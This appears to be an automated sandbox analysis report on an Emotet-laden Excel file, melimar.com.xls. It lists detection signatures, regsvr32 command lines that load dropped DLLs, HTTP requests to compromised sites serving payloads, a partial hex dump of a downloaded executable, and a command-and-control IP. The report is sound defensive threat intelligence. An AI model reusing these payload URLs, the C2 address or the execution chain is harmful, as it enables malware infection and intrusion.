Edit tour

Windows Analysis Report
melimar.com.xls

Overview

General Information

Sample Name:	melimar.com.xls
Analysis ID:	632039
MD5:	26fe1a6dbcaedcd92be80daa3f91a595
SHA1:	f894d4913c99feb984e4885d46ef3935467b07b0
SHA256:	10d164258a05b43017ea2344e234477490adaef157633778e0a2f2f558ef9385
Tags:	SilentBuilderxls
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2600 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 1820 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2472 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1160 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1720 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 768 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2376 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WFwVcxpK\qMgBgEIcUslg.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2576 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

svchost.exe (PID: 1476 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.925945389.00000000003C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.936818785.0000000002010000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1223804747.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1223146291.00000000001F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.936929041.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.943746358.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1223136184.00000000001C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.1223965620.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.943475793.00000000002C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.1223393241.0000000001F00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.regsvr32.exe.1f00000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.1f00000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.3c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.2c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.2c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.3c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.1f0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.1c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.2010000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.2010000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.1c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.1f0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 06:34:55 GMTServer: ApacheX-Powered-By: PHP/7.2.34Cache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 06:34:55 GMTContent-Disposition: attachment; filename="me435CErJsFGw1q.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b2b0ff1266=1653287695; expires=Mon, 23-May-2022 06:35:55 GMT; Max-Age=60; path=/Upgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Mon, 23 May 2022 06:34:55 GMTContent-Length: 365056Vary: Accept-EncodingStrict-Transport-Security: max-age=300Keep-Alive: timeout=5Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b

Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/iMc/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: airliftlimo.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: salledemode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kabeonet.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.kabeonet.plConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49179 -> 173.82.82.196:8080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 May 2022 06:35:06 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.kabeonet.pl/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, Keep-AliveKeep-Alive: timeout=2, max=100Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 31 66 30 30 0d 0a 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 0d 0a 09 09 0d 0a 09 09 09 4e 69 65 20 7a 6e 61 6c 65 7a 69 6f 6e 6f 20 73 74 72 6f 6e 79 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 09 09 0d 0a 09 09 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 31 30 30 2c 33 30 30 26 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 09 09 0d 0a 20 20 20 20 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 39 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6c 5f 50 4c 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 74 72 6f 6e 79 20 6

Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196

Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000004.00000002.1223353771.0000000000310000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000004.00000002.1223285742.00000000002D3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.997190286.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223299575.00000000003AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223327690.0000000000302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000007.00000002.1223319258.00000000003C8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.997248395.00000000003C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme~s
Source: regsvr32.exe, 00000009.00000002.1223280961.00000000002C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enO
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1223353771.0000000000310000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000004.00000002.1223285742.00000000002D3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223623480.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223353489.0000000000309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/
Source: regsvr32.exe, 00000009.00000002.1223353489.0000000000309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/;
Source: regsvr32.exe, 00000007.00000002.1223623480.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223280961.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223353489.0000000000309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/
Source: regsvr32.exe, 00000004.00000002.1223353771.0000000000310000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lJWa95VlQ[1]

